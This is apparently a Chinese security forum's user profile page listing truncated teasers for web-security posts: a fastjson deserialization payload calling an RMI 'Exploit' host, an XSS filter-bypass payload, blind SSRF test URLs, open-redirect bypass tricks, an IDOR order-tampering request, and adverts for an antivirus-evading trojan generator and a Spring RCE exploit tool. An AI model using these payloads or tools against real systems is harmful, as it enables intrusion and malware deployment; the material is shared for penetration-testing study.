首页
论坛首页
网信安全
冷知识
漏洞案例
文章投稿
开通会员
开通VIP
全站VIP专属资源
VIP会员专属福利
极速专属技术服务
尊享全站付费资源折扣
开通VIP
开通SVIP
全站SVIP专属资源
SVIP会员专属福利
极速专属技术服务
尊享全站付费资源折扣
开通SVIP
开通会员 尊享会员权益
登录
注册
找回密码
快速登录
首页
论坛首页
网信安全
冷知识
漏洞案例
开通会员 尊享会员权益
登录
注册
找回密码
快速登录
6.4W+
15
1
更多资料
搜索内容
白昼小丑
1枚徽章
海南
这家伙很懒，什么都没有写...
关注
私信
文章
1
收藏
0
评论
1
板块
0
帖子
20
粉丝
1
发布
20
排序
最新发布
最近更新
最新回复
最多查看
最高评分
最多回复
最多收藏
白昼小丑
5个月前发布
78次阅读
关注
私信
fastjson绕过waf
1.原请求{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}2.多...
+4
Web安全
2
回复
分享
白昼小丑
5个月前发布
22次阅读
关注
私信
越权篡改订单给用户添加未购买的商品
1.注册两个账号，下订单不付款，获取了两个订单号1813918441和181396149POST /aviator/v2/orders/1813918441/add.json?anonymous_id=deac090c-2b05-4402-b33f-468060058145&white_label_key=shipt&segway_version=6668a3d631495cebf307423e23a588c5f9...
Web安全
2
回复
分享
白昼小丑
5个月前发布
49次阅读
关注
私信
xss bypass payload
<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=alert(1111&am...
Web安全
1
回复
分享
白昼小丑
5个月前发布
17次阅读
关注
私信
xxe绕过waf-加多个空格
XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?>或<!DOCTYPE>中插入额外的空格，从而绕...
Web安全
1
回复
分享
白昼小丑
5个月前发布
34次阅读
关注
私信
无回显ssrf测试样本
http://x.x.x.x/ssrf forward.php?host=yourdnslog.domainhttps://x.x.x.x/ssrf?host=yourdnslog.domainhttp://x.x.x.x/ssrf.htm...
Web安全
1
回复
分享
白昼小丑
5个月前发布
21次阅读
关注
私信
一个漏洞挖掘小tips
记一次挖src过程中发现个活动页面，扫描二维码可以打开app客户端。这时候我就去解码了这个二维码得到一个链接，发现链接里面附带...
Web安全
2
回复
分享
白昼小丑
5个月前发布
45次阅读
关注
私信
何为http请求走私(HTTP-Request-Smuggling)?
1、何为http请求走私(HTTP-Request-Smuggling)?简单来说就是我们可以将HTTP请求按块传输，分成一块一块的，然后走私掉某一块的请...
Web安全
2
回复
分享
白昼小丑
5个月前发布
51次阅读
关注
私信
URL跳转绕过 常见的几种绕过手法
URL跳转绕过 常见的几种绕过手法1、利用问号绕过http：//www.aaa.com/xxx.php?from=http：//www.hack.com/?www.aaa.com2、利用@绕过http：//www.aaa.com/xxx.php?from=http：//www.aaa.com@www.hack.com3、利用#号绕过http：//www.aaa.com/xxx.php?from=http...
Web安全
2
回复
分享
白昼小丑
5个月前发布
19次阅读
关注
私信
web安全漏洞基础不太行的可以看看
Web安全学习笔记内容索引:Web安全学习笔记内容索引:1. 序章1.1. Web技术演化1.2. 网络攻防技术演化1.3. 网络安全观1.4. 法律与法...
Web安全
3
回复
分享
白昼小丑
5个月前发布
14次阅读
关注
私信
越权漏洞小tips
在日常的企业安全建设中，我遇到最多的就是水平越权漏洞，每天的任务占比最大的也是各种越权检测。企业一般会比较关注用户的敏感...
Web安全
2
回复
分享
白昼小丑
5个月前发布
6254次阅读
关注
私信
一款红队专用免杀木马生成器，基于shellcode生成绕过所有杀软的木马
摧日：CuiRi 红队专用免杀木马生成工具作者:Dubh30x01 简介： ____ __ __ _____ ______ _____ / ___) ) ) ( ( (_ _) ( __ \ (_ _...
工具交流
2
回复
分享
白昼小丑
5个月前发布
6249次阅读
关注
私信
Spring综合漏洞利用工具
Spring综合漏洞利用工具工具目前支持Spring Cloud Gateway RCE(CVE-2022-22947)、Spring Cloud Function SpEL RCE (CVE-2022-229...
工具交流
2
回复
分享
加载更多
领取新人见面礼
嘿，朋友！给你来点见面礼！限时免费领取，数量有限先到先得！
立即点击领取
文章投稿
创建话题
发布帖子
在手机上浏览此页面
登录
没有账号？立即注册
手机号或邮箱
验证码
发送验证码
记住登录
账号密码登录
登录
用户名/手机号/邮箱
登录密码
记住登录
找回密码
|
免密登录
登录
社交账号登录
使用社交账号登录即表示同意
隐私声明
注册
已有账号，立即登录
设置用户名
手机号或邮箱
验证码
发送验证码
设置密码
邀请码(选填)
注册
注册即表示同意
隐私声明
扫码登录
使用
其它方式登录
或
注册
扫码登录
扫码登录即表示同意
隐私声明
